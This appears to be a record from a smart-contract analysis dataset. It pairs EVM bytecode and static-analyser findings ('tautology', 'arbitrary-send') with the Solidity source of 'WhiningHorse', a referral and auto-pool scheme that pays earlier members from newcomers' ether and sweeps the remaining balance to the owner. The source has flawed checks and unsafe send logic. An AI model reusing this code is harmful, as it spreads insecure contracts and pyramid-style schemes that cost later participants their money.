180830381600087803b15801561151f57600080fd5b505af1158015611533573d6000803e3d6000fd5b50506040517fe039e4a100000000000000000000000000000000000000000000000000000000815260ff808a1660048301528816602482015273ffffffffffffffffffffffffffffffffffffffff8716925073b21f8684f23dbb1008508b4de91a0aaedebdb7e4915063e039e4a19060440160206040518083038186803b1580156115bd57600080fd5b505afa1580156115d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115f59190612e7b565b73ffffffffffffffffffffffffffffffffffffffff1614611672576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f4545584c3a206661696c65642073657474696e672074696c65206f776e65720060448201526064016108de565b6000612710600454836fffffffffffffffffffffffffffffffff1661169791906131f5565b6116a191906131b7565b905080600560008282546116b5919061317a565b909155506116d79050816fffffffffffffffffffffffffffffffff8416613232565b33600090815260086020526040812080549091906116f690849061317a565b9091555060099050600061170a8989612691565b61ffff168152602081019190915260400160002080547fffffffffffffffffffffffffffffffff0000000000000000000000000000000016905550505050505050565b33600090815260076020526040902080546fffffffffffffffffffffffffffffffff16806117d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4545584c3a204e6f206578697374696e6720626964000000000000000000000060448201526064016108de565b815460408051700100000000000000000000000000000000830460ff908116825271010000000000000000000000000000000000840481166020830152720100000000000000000000000000000000000084048116828401527301000000000000000000000000000000000000008404811660608301527401000000000000000000000000000000000000000084048116608083015275010000000000000000000000000000000000000000008404811660a08301527601000000000000000000000000000000000000000000008404811660c08301527701000000000000000000000000000000000000000000000090930490921660e0830152516fffffffffffffffffffffffffffffffff83169133917f944a025a98deacc6d65fa8bab0b08fd67ccab0c7c1c37a1d7a460ceb928f003d918190036101000190a381546119479033907801000000000000000000000000000000000000000000000000900467ffffffffffffffff16612ac8565b33600090815260086020526040812080546fffffffffffffffffffffffffffffffff8416929061197890849061317a565b90915550505050565b60005473ffffffffffffffffffffffffffffffffffffffff163314611a02576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600f60248201527f4545584c3a204e6f74206f776e6572000000000000000000000000000000000060448201526064016108de565b600580546000909155610a733382612c6d565b60606006805480602002602001604051908101604052809291908181526020018280548015611a7a57602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff168152600190910190602001808311611a4f575b5050505050905090565b60068181548110611a9457600080fd5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff16905081565b333214611b24576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600d60248201527f4545584c3a206e6f7420454f410000000000000000000000000000000000000060448201526064016108de565b6fffffffffffffffffffffffffffffffff341115611b9e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f4545584c3a2076616c756520746f6f206869676800000000000000000000000060448201526064016108de565b6003546fffffffffffffffffffffffffffffffff16341015611c1c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f4545584c3a207265712062696420616d74203e3d206d696e426964000000000060448201526064016108de565b336000908152600760205260409020546fffffffffffffffffffffffffffffffff1615611ca5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f4545584c3a20626964206578697374732c2063616e63656c206669727374000060448201526064016108de565b611cae88612d3c565b611d14576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f4545584c3a206d696e436f6c204f4f420000000000000000000000000000000060448201526064016108de565b611d1d87612d3c565b611d83576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f4545584c3a206d6178436f6c204f4f420000000000000000000000000000000060448201526064016108de565b8660ff168860ff161115611df3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f4545584c3a20726571206d696e436f6c203c3d206d6178436f6c00000000000060448201526064016108de565b611dfc86612d3c565b611e62576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f4545584c3a206d696e526f77204f4f420000000000000000000000000000000060448201526064016108de565b611e6b85612d3c565b611ed1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f4545584c3a206d6178526f77204f4f420000000000000000000000000000000060448201526064016108de565b8460ff168660ff161115611f41576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f4545584c3a20726571206d696e526f77203c3d206d6178526f7700000000000060448201526064016108de565b611f4a84612d4d565b611fb0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f4545584c3a206d696e456c65204f4f420000000000000000000000000000000060448201526064016108de565b611fb983612d4d565b61201f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f4545584c3a206d6178456c65204f4f420000000000000000000000000000000060448201526064016108de565b8260ff168460ff16111561208f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f4545584c3a20726571206d696e456c65203c3d206d6178456c6500000000000060448201526064016108de565b600660ff831611156120fd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f4545584c3a206d696e576174204f4f420000000000000000000000000000000060448201526064016108de565b600660ff8216111561216b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f4545584c3a206d6178576174204f4f420000000000000000000000000000000060448201526064016108de565b8060ff168260ff1611156121db576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f4545584c3a20726571206d696e576174203c3d206d617857617400000000000060448201526064016108de565b60065467ffffffffffffffff811061224f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f4545584c3a20746f6f206d616e7920626964730000000000000000000000000060448201526064016108de565b604051806101400160405280346fffffffffffffffffffffffffffffffff1681526020018a60ff1681526020018960ff1681526020018860ff1681526020018760ff1681526020018660ff1681526020018560ff1681526020018460ff1681526020018360ff1681526020018267ffffffffffffffff16815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548160ff021916908360ff16021790555060408201518160000160116101000a81548160ff021916908360ff16021790555060608201518160000160126101000a81548160ff021916908360ff16021790555060808201518160000160136101000a81548160ff021916908360ff16021790555060a08201518160000160146101000a81548160ff021916908360ff16021790555060c08201518160000160156101000a81548160ff021916908360ff16021790555060e08201518160000160166101000a81548160ff021916908360ff1602179055506101008201518160000160176101000a81548160ff021916908360ff1602179055506101208201518160000160186101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055509050506006339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550346fffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167ffdd112ffa368681c99ed9f845ed96123a44a1752ad73d4df220fee9ea848870b8b8b8b8b8b8b8b8b60405161258c98979695949392919060ff98891681529688166020880152948716604087015292861660608601529085166080850152841660a0840152831660c083015290911660e08201526101000190565b60405180910390a3505050505050505050565b60005473ffffffffffffffffffffffffffffffffffffffff163314612620576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600f60248201527f4545584c3a204e6f74206f776e6572000000000000000000000000000000000060448201526064016108de565b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff831690811790915560405133907fb150023a879fd806e3599b6ca8ee3b60f0e360ab3846d128d67ebce1a391639a90600090a350565b600061269c83612d3c565b80156126ac57506126ac82612d3c565b612712576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4545584c3a20496e76616c696420636f6c20616e642f6f7220726f770000000060448201526064016108de565b8160ff1660218460ff1661272691906131cb565b6127309190613154565b9392505050565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260086020526040902054806127c4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4545584c3a206e6f7468696e672070656e64696e67000000000000000000000060448201526064016108de565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600860205260408120556127f48282612c6d565b808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fcd1fce47d5ad89dd70b04c75bd6bdb8114d4d4ff7b4393f9fb5937e733ba958260405160405180910390a4505050565b6000600160ff84161080159061286e5750601f60ff841611155b6128fa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f4545584c3a20576174657220636f756e74696e67207265717572657320636f6c60448201527f20312d333100000000000000000000000000000000000000000000000000000060648201526084016108de565b600160ff8316108015906129125750601f60ff831611155b61299e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f4545584c3a20576174657220636f756e74696e67207265717572657320636f6c60448201527f20312d333100000000000000000000000000000000000000000000000000000060648201526084016108de565b60016129ab6002846132c0565b60ff161415612a13576129da6129d56129c5600186613192565b6129d0600186613192565b612d6c565b612e23565b6129e49082613192565b9050612a026129d56129f7600186613192565b6129d0600186613249565b612a0c9082613192565b9050612a4e565b612a246129d56129f7600186613249565b612a2e9082613192565b9050612a416129d56129c5600186613249565b612a4b9082613192565b90505b612a606129d5846129d0600186613249565b612a6a9082613192565b9050612a7e6129d5846129d0600186613192565b612a889082613192565b9050612aa16129d5612a9b600186613192565b84612d6c565b612aab9082613192565b9050612abe6129d5612a9b600186613249565b6127309082613192565b6006805460009190612adc90600190613232565b81548110612aec57612aec61336f565b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff908116915083168114612bd9578060068367ffffffffffffffff1681548110612b3857612b3861336f565b600091825260208083209190910180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff9485161790559183168152600790915260409020805477ffffffffffffffffffffffffffffffffffffffffffffffff16780100000000000000000000000000000000000000000000000067ffffffffffffffff8516021790555b73ffffffffffffffffffffffffffffffffffffffff83166000908152600760205260408120556006805480612c1057612c10613340565b60008281526020902081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055019055505050565b60008273ffffffffffffffffffffffffffffffffffffffff168260405160006040518083038185875af1925050503d8060008114612cc7576040519150601f19603f3d011682016040523d82523d6000602084013e612ccc565b606091505b5050905080612d37576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f4545584c3a20455448207472616e73666572206661696c65640000000000000060448201526064016108de565b505050565b6000602060ff831611155b92915050565b6000607d60ff831610801590612d47575060d860ff8316111592915050565b6040517f4166c1fd00000000000000000000000000000000000000000000000000000000815260ff808416600483015282166024820152600090607d907368549d7dbb7a956f955ec1263f55494f05972a6b90634166c1fd9060440160206040518083038186803b158015612de057600080fd5b505afa158015612df4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e189190612ef0565b60ff16109392505050565b600081612e31576000612d47565b600192915050565b80356fffffffffffffffffffffffffffffffff81168114612e5957600080fd5b919050565b600060208284031215612e7057600080fd5b81356127308161339e565b600060208284031215612e8d57600080fd5b81516127308161339e565b600060208284031215612eaa57600080fd5b61273082612e39565b600060208284031215612ec557600080fd5b813561ffff8116811461273057600080fd5b600060208284031215612ee957600080fd5b5035919050565b600060208284031215612f0257600080fd5b8151612730816133c0565b60008060408385031215612f2057600080fd5b8235612f2b816133c0565b91506020830135612f3b816133c0565b809150509250929050565b60008060008060808587031215612f5c57600080fd5b8435612f67816133c0565b93506020850135612f77816133c0565b92506040850135612f878161339e565b9396929550929360600135925050565b600080600060608486031215612fac57600080fd5b8335612fb7816133c0565b92506020840135612fc7816133c0565b9150612fd560408501612e39565b90509250925092565b600080600080600080600080610100898b031215612ffb57600080fd5b8835613006816133c0565b97506020890135613016816133c0565b96506040890135613026816133c0565b95506060890135613036816133c0565b94506080890135613046816133c0565b935060a0890135613056816133c0565b925060c0890135613066816133c0565b915060e0890135613076816133c0565b809150509295985092959890939650565b6020808252825182820181905260009190848201906040850190845b818110156130d557835173ffffffffffffffffffffffffffffffffffffffff16835292840192918401916001016130a3565b50909695505050505050565b600060208083528351808285015260005b8181101561310e578581018301518582016040015282016130f2565b81811115613120576000604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b600061ffff808316818516808303821115613171576131716132e2565b01949350505050565b6000821982111561318d5761318d6132e2565b500190565b600060ff821660ff84168060ff038211156131af576131af6132e2565b019392505050565b6000826131c6576131c6613311565b500490565b600061ffff808316818516818304811182151516156131ec576131ec6132e2565b02949350505050565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561322d5761322d6132e2565b500290565b600082821015613244576132446132e2565b500390565b600060ff821660ff841680821015613263576132636132e2565b90039392505050565b600181811c9082168061328057607f821691505b602082108114156132ba577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b600060ff8316806132d3576132d3613311565b8060ff84160691505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff81168114610a7357600080fd5b60ff81168114610a7357600080fdfea2646970667358221220c03027760cca19df7d927d694ba74ebef1f3afd5ba086713c2df48fcc9d14e1764736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,777
0x5b81fcd0832c1e9ec02441aa6cd8522a7520fcd2
/** *Submitted for verification at Etherscan.io on 2020-06-05 */ /* .##......##.##.....##.####.##....##.####.##....##..######......##.....##..#######..########...######..######## .##..##..##.##.....##..##..###...##..##..###...##.##....##.....##.....##.##.....##.##.....##.##....##.##...... .##..##..##.##.....##..##..####..##..##..####..##.##...........##.....##.##.....##.##.....##.##.......##...... .##..##..##.#########..##..##.##.##..##..##.##.##.##...####....#########.##.....##.########...######..######.. .##..##..##.##.....##..##..##..####..##..##..####.##....##.....##.....##.##.....##.##...##.........##.##...... .##..##..##.##.....##..##..##...###..##..##...###.##....##.....##.....##.##.....##.##....##..##....##.##...... ..###..###..##.....##.####.##....##.####.##....##..######......##.....##..#######..##.....##..######..######## Hello I am WhiningHorse, My URL : https://WhiningHorse.io Telegram Channel: https://t.me/WhiningHorse Hashtag: #WhiningHorse */ pragma solidity 0.6.4; contract WhiningHorse { address public ownerWallet; uint public currUserID = 0; uint public pool1currUserID = 0; uint public pool2currUserID = 0; uint public pool3currUserID = 0; uint public pool4currUserID = 0; uint public pool5currUserID = 0; uint public pool6currUserID = 0; uint public pool7currUserID = 0; uint public pool8currUserID = 0; uint public pool9currUserID = 0; uint public pool10currUserID = 0; uint public pool1activeUserID = 0; uint public pool2activeUserID = 0; uint public pool3activeUserID = 0; uint public pool4activeUserID = 0; uint public pool5activeUserID = 0; uint public pool6activeUserID = 0; uint public pool7activeUserID = 0; uint public pool8activeUserID = 0; uint public pool9activeUserID = 0; uint public pool10activeUserID = 0; uint public unlimited_level_price=0; struct UserStruct { bool isExist; uint id; uint referrerID; uint referredUsers; mapping(uint => uint) levelExpired; } struct PoolUserStruct { bool isExist; uint id; uint payment_received; } mapping (address => UserStruct) public users; mapping (uint => address) public userList; mapping (address => PoolUserStruct) public pool1users; mapping (uint => address) public pool1userList; mapping (address => PoolUserStruct) public pool2users; mapping (uint => address) public pool2userList; mapping (address => PoolUserStruct) public pool3users; mapping (uint => address) public pool3userList; mapping (address => PoolUserStruct) public pool4users; mapping (uint => address) public pool4userList; mapping (address => PoolUserStruct) public pool5users; mapping (uint => address) public pool5userList; mapping (address => PoolUserStruct) public pool6users; mapping (uint => address) public pool6userList; mapping (address => PoolUserStruct) public pool7users; mapping (uint => address) public pool7userList; mapping (address => PoolUserStruct) public pool8users; mapping (uint => address) public pool8userList; mapping (address => PoolUserStruct) public pool9users; mapping (uint => address) public pool9userList; mapping (address => PoolUserStruct) public pool10users; mapping (uint => address) public pool10userList; mapping(uint => uint) public LEVEL_PRICE; uint REGESTRATION_FESS=0.1 ether; uint pool1_price=0.2 ether; uint pool2_price=0.5 ether ; uint pool3_price=1 ether; uint pool4_price=2 ether; uint pool5_price=3 ether; uint pool6_price=5 ether; uint pool7_price=7 ether ; uint pool8_price=10 ether; uint pool9_price=15 ether; uint pool10_price=20 ether; event regLevelEvent(address indexed _user, address indexed _referrer, uint _time); event getMoneyForLevelEvent(address indexed _user, address indexed _referral, uint _level, uint _time); event regPoolEntry(address indexed _user,uint _level, uint _time); event getPoolPayment(address indexed _user,address indexed _receiver, uint _level, uint _time); UserStruct[] public requests; constructor() public { ownerWallet = msg.sender; LEVEL_PRICE[1] = 0.1 ether; UserStruct memory userStruct; currUserID++; userStruct = UserStruct({ isExist: true, id: currUserID, referrerID: 0, referredUsers:0 }); users[ownerWallet] = userStruct; userList[currUserID] = ownerWallet; PoolUserStruct memory pooluserStruct; pool1currUserID++; pooluserStruct = PoolUserStruct({ isExist:true, id:pool1currUserID, payment_received:0 }); pool1activeUserID=pool1currUserID; pool1users[msg.sender] = pooluserStruct; pool1userList[pool1currUserID]=msg.sender; pool2currUserID++; pooluserStruct = PoolUserStruct({ isExist:true, id:pool2currUserID, payment_received:0 }); pool2activeUserID=pool2currUserID; pool2users[msg.sender] = pooluserStruct; pool2userList[pool2currUserID]=msg.sender; pool3currUserID++; pooluserStruct = PoolUserStruct({ isExist:true, id:pool3currUserID, payment_received:0 }); pool3activeUserID=pool3currUserID; pool3users[msg.sender] = pooluserStruct; pool3userList[pool3currUserID]=msg.sender; pool4currUserID++; pooluserStruct = PoolUserStruct({ isExist:true, id:pool4currUserID, payment_received:0 }); pool4activeUserID=pool4currUserID; pool4users[msg.sender] = pooluserStruct; pool4userList[pool4currUserID]=msg.sender; pool5currUserID++; pooluserStruct = PoolUserStruct({ isExist:true, id:pool5currUserID, payment_received:0 }); pool5activeUserID=pool5currUserID; pool5users[msg.sender] = pooluserStruct; pool5userList[pool5currUserID]=msg.sender; pool6currUserID++; pooluserStruct = PoolUserStruct({ isExist:true, id:pool6currUserID, payment_received:0 }); pool6activeUserID=pool6currUserID; pool6users[msg.sender] = pooluserStruct; pool6userList[pool6currUserID]=msg.sender; pool7currUserID++; pooluserStruct = PoolUserStruct({ isExist:true, id:pool7currUserID, payment_received:0 }); pool7activeUserID=pool7currUserID; pool7users[msg.sender] = pooluserStruct; pool7userList[pool7currUserID]=msg.sender; pool8currUserID++; pooluserStruct = PoolUserStruct({ isExist:true, id:pool8currUserID, payment_received:0 }); pool8activeUserID=pool8currUserID; pool8users[msg.sender] = pooluserStruct; pool8userList[pool8currUserID]=msg.sender; pool9currUserID++; pooluserStruct = PoolUserStruct({ isExist:true, id:pool9currUserID, payment_received:0 }); pool9activeUserID=pool9currUserID; pool9users[msg.sender] = pooluserStruct; pool9userList[pool9currUserID]=msg.sender; pool10currUserID++; pooluserStruct = PoolUserStruct({ isExist:true, id:pool10currUserID, payment_received:0 }); pool10activeUserID=pool10currUserID; pool10users[msg.sender] = pooluserStruct; pool10userList[pool10currUserID]=msg.sender; } function regUser(uint _referrerID) public payable { require(!users[msg.sender].isExist, "User Exists"); require(_referrerID > 0 && _referrerID <= currUserID, 'Incorrect referral ID'); require(msg.value == REGESTRATION_FESS, 'Incorrect Value'); UserStruct memory userStruct; currUserID++; userStruct = UserStruct({ isExist: true, id: currUserID, referrerID: _referrerID, referredUsers:0 }); users[msg.sender] = userStruct; userList[currUserID]=msg.sender; users[userList[users[msg.sender].referrerID]].referredUsers=users[userList[users[msg.sender].referrerID]].referredUsers+1; payReferral(1,msg.sender); emit regLevelEvent(msg.sender, userList[_referrerID], now); } function payReferral(uint _level, address _user) internal { address referer; referer = userList[users[_user].referrerID]; bool sent = false; uint level_price_local=0; if(_level>4){ level_price_local=unlimited_level_price; } else{ level_price_local=LEVEL_PRICE[_level]; } sent = address(uint160(referer)).send(level_price_local); if (sent) { emit getMoneyForLevelEvent(referer, msg.sender, _level, now); if(_level < 100 && users[referer].referrerID >= 1){ payReferral(_level+1,referer); } else { sendBalance(); } } if(!sent) { // emit lostMoneyForLevelEvent(referer, msg.sender, _level, now); payReferral(_level, referer); } } function buyPool1() public payable { require(users[msg.sender].isExist, "User Not Registered"); require(!pool1users[msg.sender].isExist, "Already in AutoPool"); require(msg.value == pool1_price, 'Incorrect Value'); PoolUserStruct memory userStruct; address pool1Currentuser=pool1userList[pool1activeUserID]; pool1currUserID++; userStruct = PoolUserStruct({ isExist:true, id:pool1currUserID, payment_received:0 }); pool1users[msg.sender] = userStruct; pool1userList[pool1currUserID]=msg.sender; bool sent = false; sent = address(uint160(pool1Currentuser)).send(pool1_price); if (sent) { pool1users[pool1Currentuser].payment_received+=1; if(pool1users[pool1Currentuser].payment_received>=2) { pool1activeUserID+=1; } emit getPoolPayment(msg.sender,pool1Currentuser, 1, now); } emit regPoolEntry(msg.sender, 1, now); } function buyPool2() public payable { require(users[msg.sender].isExist, "User Not Registered"); require(!pool2users[msg.sender].isExist, "Already in AutoPool"); require(msg.value == pool2_price, 'Incorrect Value'); require(users[msg.sender].referredUsers>=0, "Must need 0 referral"); PoolUserStruct memory userStruct; address pool2Currentuser=pool2userList[pool2activeUserID]; pool2currUserID++; userStruct = PoolUserStruct({ isExist:true, id:pool2currUserID, payment_received:0 }); pool2users[msg.sender] = userStruct; pool2userList[pool2currUserID]=msg.sender; bool sent = false; sent = address(uint160(pool2Currentuser)).send(pool2_price); if (sent) { pool2users[pool2Currentuser].payment_received+=1; if(pool2users[pool2Currentuser].payment_received>=3) { pool2activeUserID+=1; } emit getPoolPayment(msg.sender,pool2Currentuser, 2, now); } emit regPoolEntry(msg.sender,2, now); } function buyPool3() public payable { require(users[msg.sender].isExist, "User Not Registered"); require(!pool3users[msg.sender].isExist, "Already in AutoPool"); require(msg.value == pool3_price, 'Incorrect Value'); require(users[msg.sender].referredUsers>=0, "Must need 0 referral"); PoolUserStruct memory userStruct; address pool3Currentuser=pool3userList[pool3activeUserID]; pool3currUserID++; userStruct = PoolUserStruct({ isExist:true, id:pool3currUserID, payment_received:0 }); pool3users[msg.sender] = userStruct; pool3userList[pool3currUserID]=msg.sender; bool sent = false; sent = address(uint160(pool3Currentuser)).send(pool3_price); if (sent) { pool3users[pool3Currentuser].payment_received+=1; if(pool3users[pool3Currentuser].payment_received>=3) { pool3activeUserID+=1; } emit getPoolPayment(msg.sender,pool3Currentuser, 3, now); } emit regPoolEntry(msg.sender,3, now); } function buyPool4() public payable { require(users[msg.sender].isExist, "User Not Registered"); require(!pool4users[msg.sender].isExist, "Already in AutoPool"); require(msg.value == pool4_price, 'Incorrect Value'); require(users[msg.sender].referredUsers>=0, "Must need 0 referral"); PoolUserStruct memory userStruct; address pool4Currentuser=pool4userList[pool4activeUserID]; pool4currUserID++; userStruct = PoolUserStruct({ isExist:true, id:pool4currUserID, payment_received:0 }); pool4users[msg.sender] = userStruct; pool4userList[pool4currUserID]=msg.sender; bool sent = false; sent = address(uint160(pool4Currentuser)).send(pool4_price); if (sent) { pool4users[pool4Currentuser].payment_received+=1; if(pool4users[pool4Currentuser].payment_received>=3) { pool4activeUserID+=1; } emit getPoolPayment(msg.sender,pool4Currentuser, 4, now); } emit regPoolEntry(msg.sender,4, now); } function buyPool5() public payable { require(users[msg.sender].isExist, "User Not Registered"); require(!pool5users[msg.sender].isExist, "Already in AutoPool"); require(msg.value == pool5_price, 'Incorrect Value'); require(users[msg.sender].referredUsers>=0, "Must need 0 referral"); PoolUserStruct memory userStruct; address pool5Currentuser=pool5userList[pool5activeUserID]; pool5currUserID++; userStruct = PoolUserStruct({ isExist:true, id:pool5currUserID, payment_received:0 }); pool5users[msg.sender] = userStruct; pool5userList[pool5currUserID]=msg.sender; bool sent = false; sent = address(uint160(pool5Currentuser)).send(pool5_price); if (sent) { pool5users[pool5Currentuser].payment_received+=1; if(pool5users[pool5Currentuser].payment_received>=4) { pool5activeUserID+=1; } emit getPoolPayment(msg.sender,pool5Currentuser, 5, now); } emit regPoolEntry(msg.sender,5, now); } function buyPool6() public payable { require(!pool6users[msg.sender].isExist, "Already in AutoPool"); require(msg.value == pool6_price, 'Incorrect Value'); require(users[msg.sender].referredUsers>=0, "Must need 0 referral"); PoolUserStruct memory userStruct; address pool6Currentuser=pool6userList[pool6activeUserID]; pool6currUserID++; userStruct = PoolUserStruct({ isExist:true, id:pool6currUserID, payment_received:0 }); pool6users[msg.sender] = userStruct; pool6userList[pool6currUserID]=msg.sender; bool sent = false; sent = address(uint160(pool6Currentuser)).send(pool6_price); if (sent) { pool6users[pool6Currentuser].payment_received+=1; if(pool6users[pool6Currentuser].payment_received>=4) { pool6activeUserID+=1; } emit getPoolPayment(msg.sender,pool6Currentuser, 6, now); } emit regPoolEntry(msg.sender,6, now); } function buyPool7() public payable { require(users[msg.sender].isExist, "User Not Registered"); require(!pool7users[msg.sender].isExist, "Already in AutoPool"); require(msg.value == pool7_price, 'Incorrect Value'); require(users[msg.sender].referredUsers>=0, "Must need 0 referral"); PoolUserStruct memory userStruct; address pool7Currentuser=pool7userList[pool7activeUserID]; pool7currUserID++; userStruct = PoolUserStruct({ isExist:true, id:pool7currUserID, payment_received:0 }); pool7users[msg.sender] = userStruct; pool7userList[pool7currUserID]=msg.sender; bool sent = false; sent = address(uint160(pool7Currentuser)).send(pool7_price); if (sent) { pool7users[pool7Currentuser].payment_received+=1; if(pool7users[pool7Currentuser].payment_received>=4) { pool7activeUserID+=1; } emit getPoolPayment(msg.sender,pool7Currentuser, 7, now); } emit regPoolEntry(msg.sender,7, now); } function buyPool8() public payable { require(users[msg.sender].isExist, "User Not Registered"); require(!pool8users[msg.sender].isExist, "Already in AutoPool"); require(msg.value == pool8_price, 'Incorrect Value'); require(users[msg.sender].referredUsers>=0, "Must need 0 referral"); PoolUserStruct memory userStruct; address pool8Currentuser=pool8userList[pool8activeUserID]; pool8currUserID++; userStruct = PoolUserStruct({ isExist:true, id:pool8currUserID, payment_received:0 }); pool8users[msg.sender] = userStruct; pool8userList[pool8currUserID]=msg.sender; bool sent = false; sent = address(uint160(pool8Currentuser)).send(pool8_price); if (sent) { pool8users[pool8Currentuser].payment_received+=1; if(pool8users[pool8Currentuser].payment_received>=4) { pool8activeUserID+=1; } emit getPoolPayment(msg.sender,pool8Currentuser, 8, now); } emit regPoolEntry(msg.sender,8, now); } function buyPool9() public payable { require(users[msg.sender].isExist, "User Not Registered"); require(!pool9users[msg.sender].isExist, "Already in AutoPool"); require(msg.value == pool9_price, 'Incorrect Value'); require(users[msg.sender].referredUsers>=0, "Must need 0 referral"); PoolUserStruct memory userStruct; address pool9Currentuser=pool9userList[pool9activeUserID]; pool9currUserID++; userStruct = PoolUserStruct({ isExist:true, id:pool9currUserID, payment_received:0 }); pool9users[msg.sender] = userStruct; pool9userList[pool9currUserID]=msg.sender; bool sent = false; sent = address(uint160(pool9Currentuser)).send(pool9_price); if (sent) { pool9users[pool9Currentuser].payment_received+=1; if(pool9users[pool9Currentuser].payment_received>=5) { pool9activeUserID+=1; } emit getPoolPayment(msg.sender,pool9Currentuser, 9, now); } emit regPoolEntry(msg.sender,9, now); } function buyPool10() public payable { require(users[msg.sender].isExist, "User Not Registered"); require(!pool10users[msg.sender].isExist, "Already in AutoPool"); require(msg.value == pool10_price, 'Incorrect Value'); require(users[msg.sender].referredUsers>=0, "Must need 0 referral"); PoolUserStruct memory userStruct; address pool10Currentuser=pool10userList[pool10activeUserID]; pool10currUserID++; userStruct = PoolUserStruct({ isExist:true, id:pool10currUserID, payment_received:0 }); pool10users[msg.sender] = userStruct; pool10userList[pool10currUserID]=msg.sender; bool sent = false; sent = address(uint160(pool10Currentuser)).send(pool10_price); if (sent) { pool10users[pool10Currentuser].payment_received+=1; if(pool10users[pool10Currentuser].payment_received>=5) { pool10activeUserID+=1; } emit getPoolPayment(msg.sender,pool10Currentuser, 10, now); } emit regPoolEntry(msg.sender, 10, now); } function getEthBalance() public view returns(uint) { return address(this).balance; } function sendBalance() private { if (!address(uint160(ownerWallet)).send(getEthBalance())) { } } }
0x60806040526004361061038c5760003560e01c806380085ec4116101dc578063a565a5b611610102578063db7242bd116100a0578063e592ac561161006f578063e592ac56146112a4578063e687ecac146112cf578063ed3bb9fa14611346578063eecbdd94146113505761038c565b8063db7242bd14611179578063dd5d3e30146111f4578063dea9095a1461126f578063e35fc7e21461129a5761038c565b8063bdbefbf6116100dc578063bdbefbf61461109e578063c3285de6146110c9578063c5d8444d146110d3578063c6d79e9d146110fe5761038c565b8063a565a5b61461100c578063a87430ba14611016578063ae01d264146110945761038c565b80638853b53e1161017a5780639f01c016116101495780639f01c01614610ec45780639f4216e814610eef5780639f9a2b0e14610f6a578063a4bb170d14610fe15761038c565b80638853b53e14610de95780639335dcb714610e175780639561302a14610e6e578063956c9ebf14610e995761038c565b806384abfa37116101b657806384abfa3714610ca557806384d82db814610d1c578063851f31c614610d47578063878b255d14610dbe5761038c565b806380085ec414610b4b578063805b495414610bc257806381d12c5814610c3d5761038c565b806350264b55116102c15780636e2fb91d1161025f57806379378e301161022e57806379378e3014610a2b5780637aa6e6dc14610a7a5780637ff135cd14610aa55780637ff5c45014610b205761038c565b80636e2fb91d1461090857806370047eeb1461097f57806370ed0ada1461098957806378dffea7146109b45761038c565b806360fbf1221161029b57806360fbf122146108315780636254a0ef146108a8578063673f554b146108b2578063699ad07e146108dd5761038c565b806350264b55146107605780635761a7ae146107db5780635a1cb2cd146108065761038c565b806338f2f4461161032e5780634147cde8116103085780634147cde814610685578063435ea130146106b0578063460c3c0714